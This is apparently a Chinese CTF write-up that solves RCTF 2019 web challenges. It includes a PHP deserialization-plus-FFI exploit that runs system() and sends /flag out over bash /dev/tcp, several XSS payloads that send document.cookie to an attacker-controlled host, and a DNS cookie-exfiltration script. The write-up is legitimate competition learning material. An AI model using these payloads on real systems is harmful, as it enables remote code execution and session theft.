这场神仙比赛菜鸡只能输出一些水题,趁着环境没关复现一下
WEB
nextphp
题目进去就给一句话木马1
2
3
4
5
6
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
看下phpinfo
不知道为什么php版本号有个-dev
,open_basedir只有/var/www/html/
,看了下有个preload.php文件,读一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
final class A implements Serializable {
protected $data = [
'ret' = null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
而且还开了preload
到了这里没思路了,谷歌一下文件名,没见过preload是什么呢,https://wiki.php.net/rfc/preload ,看到有句这样的话1
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones
FFI危险?看一下有没有开
再去看一下FFI是什么,https://www.php.net/manual/zh/ffi.examples-basic.php ,emmm,一个可以插入原始C代码且执行的函数,https://www.php.net/manual/en/ffi.examples-callback.php
现在我们可以写payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16class A implements Serializable{
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *cmd);'
];
public function serialize():string{
return serialize($this->data);
}
public function unserialize($payload){
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A();
echo urlencode(serialize($a));
请求就有flag了1
http://nextphp.2019.rctf.rois.io/?a=$a=unserialize('C%3A1%3A%22A%22%3A91%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A28%3A%22int+system%28const+char+%2Acmd%29%3B%22%3B%7D%7D');var_dump($a->ret->system('bash -c "cat /flag > /dev/tcp/ip/port"'));
rblog
这题源码里面有一个apihttps://rblog.2019.rctf.rois.io/api/v2/posts
,修改一下参数/api/v2/aaa
发现回显1
2
3
4
5{
"status": false,
"message": "'\/aaa' not found.",
"data": []
}
尝试在后面添加标签也不能解析,返回的content-type
是json
,这个时候想到/api/v2/
的v2是表示版本号的,后台有没有v1呢,访问一下/api/v1/posts
,发现居然正常回显!!!
再尝试一下在后面加标签,这次返回是content-type: text/html
了,也就是说可以成功执行xss了
贴上题目的提示
所以我们可以尝试一下/api/v1/posts?callback=test
,这个时候会返回1
test({...})
但是如果我们改成<script>
标签打过去,/
会被转义,fuzz一下,转义的只有斜杠和引号,所以我们可以用iframe
执行实体编码打过去来绕过,到了这里还有一个难点,题目说了bot用的是最新版的chrome,如果url中的代码和页面内的代码一致就会拦截,而且这个拦截还严格很多,有没有什么方法可以绕过呢?思考一下,假设传进一个无用的参数,这个参数在回传的时候会被后台转义,因此就会造成代码不同实现绕过,这里可以知道中文字符的存储是unicode编码的,自带斜杠,所以我们只要加上中文字符就行,最后的payload1
https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc%3D%E5%95%8A%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%23114%3B%26%2399%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%23115%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23114%3B%26%2398%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2346%3B%26%2350%3B%26%2348%3B%26%2349%3B%26%2357%3B%26%2346%3B%26%23114%3B%26%2399%3B%26%23116%3B%26%23102%3B%26%2346%3B%26%23114%3B%26%23111%3B%26%23105%3B%26%23115%3B%26%2346%3B%26%23105%3B%26%23111%3B%26%2347%3B%26%2397%3B%26%23112%3B%26%23105%3B%26%2347%3B%26%23118%3B%26%2349%3B%26%2347%3B%26%23112%3B%26%23111%3B%26%23115%3B%26%23116%3B%26%23115%3B%26%2332%3B%26%2399%3B%26%2397%3B%26%23108%3B%26%23108%3B%26%2398%3B%26%2397%3B%26%2399%3B%26%23107%3B%26%2361%3B%26%23112%3B%26%2397%3B%26%23114%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%26%23114%3B%26%23101%3B%26%23102%3B%26%2361%3B%26%2339%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23120%3B%26%23120%3B%26%2358%3B%26%23120%3B%26%23120%3B%26%23120%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2363%3B%26%2339%3B%26%2337%3B%26%2350%3B%26%2398%3B%26%23101%3B%26%23115%3B%26%2399%3B%26%2397%3B%26%23112%3B%26%23101%3B%26%2340%3B%26%23100%3B%26%23111%3B%26%2399%3B%26%23117%3B%26%23109%3B%26%23101%3B%26%23110%3B%26%23116%3B%26%2346%3B%26%2399%3B%26%23111%3B%26%23111%3B%26%23107%3B%26%23105%3B%26%23101%3B%26%2341%3B%26%2359%3B%26%2399%3B%26%23111%3B%26%23110%3B%26%23115%3B%26%23111%3B%26%23108%3B%26%23101%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%23103%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%3E
提交给管理员就可以拿到flag了
ez4cr
题目如下
依旧是xss,这次要打的是report-rblog
的cookie,结合上一题的提示the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.
,应该不会是audition的0day,只能继续分析题目场景
先看一下题目源码report.js
这里有个report.php
,跟过去看一下,测试一下,发现他也是support jsonp
的
测试一下中文,这次不行了
然后测试过去发现后端会将传过去的http
改成https
传回来,所以我们只要修改src的路径为http
就能bypass了,payload1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script%20src=http://report-rblog.2019.rctf.rois.io/report.php?callback=location.href=%27http://vps_ip/xss?%27%25%32%62escape(document.cookie);></script>
report给bot就能拿到flag了1
RCTF{charset_in_content-type_ignored._.??did_i_find_a_chrome_xss_filter_bypass_0day}
jail
这个页面登录注册进去看见一个编写留言的框,一个反馈给admin看留言,还有一个文件上传的地方
抓个包先看一看有没有什么提示
看到有两个hint,flag1_is_in_cookie
和meta_refresh_is_banned_in_server
,所以应该是要打到admin的cookie,所以应该是xss的利用,我们先继续审计一下源码+fuzz一下字符,看下有没有什么限制
在火狐操作了一波,用img标签打过去没有反应,猜测bot应该是chrome的,而且还禁止了跳转1
2
3
4
5
6
7<script>
window.addEventListenr("beforeunload", function (event){
event.returnValue = "Are you sure want to exit?"
return "Are you sure want to exit?"
})
Object.freeze(document.location)
</script>
freeze对象以后是没有办法解冻的,只能克隆一个具有相同属性的新对象,通过修改新对象的属性来达到目的
看一下location有什么能利用
尝试一下换一下属性,发现host和hostname可以修改属性且跳转,最终利用1
2
3
4
5
6
7
8
9
10
11<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
} location.hostname=stringToHex(document.cookie).substr(0,500)+".onsdtb.ceye.io"</script>
最后看dns流量就行
password
还是先看题目
所以我们现在先想办法拿到inter.html
MISC
draw
logo command语句,找个在线工具就能解出来
这场比赛出题还是很不错的,菜鸡学到了不少,涨姿势了Orz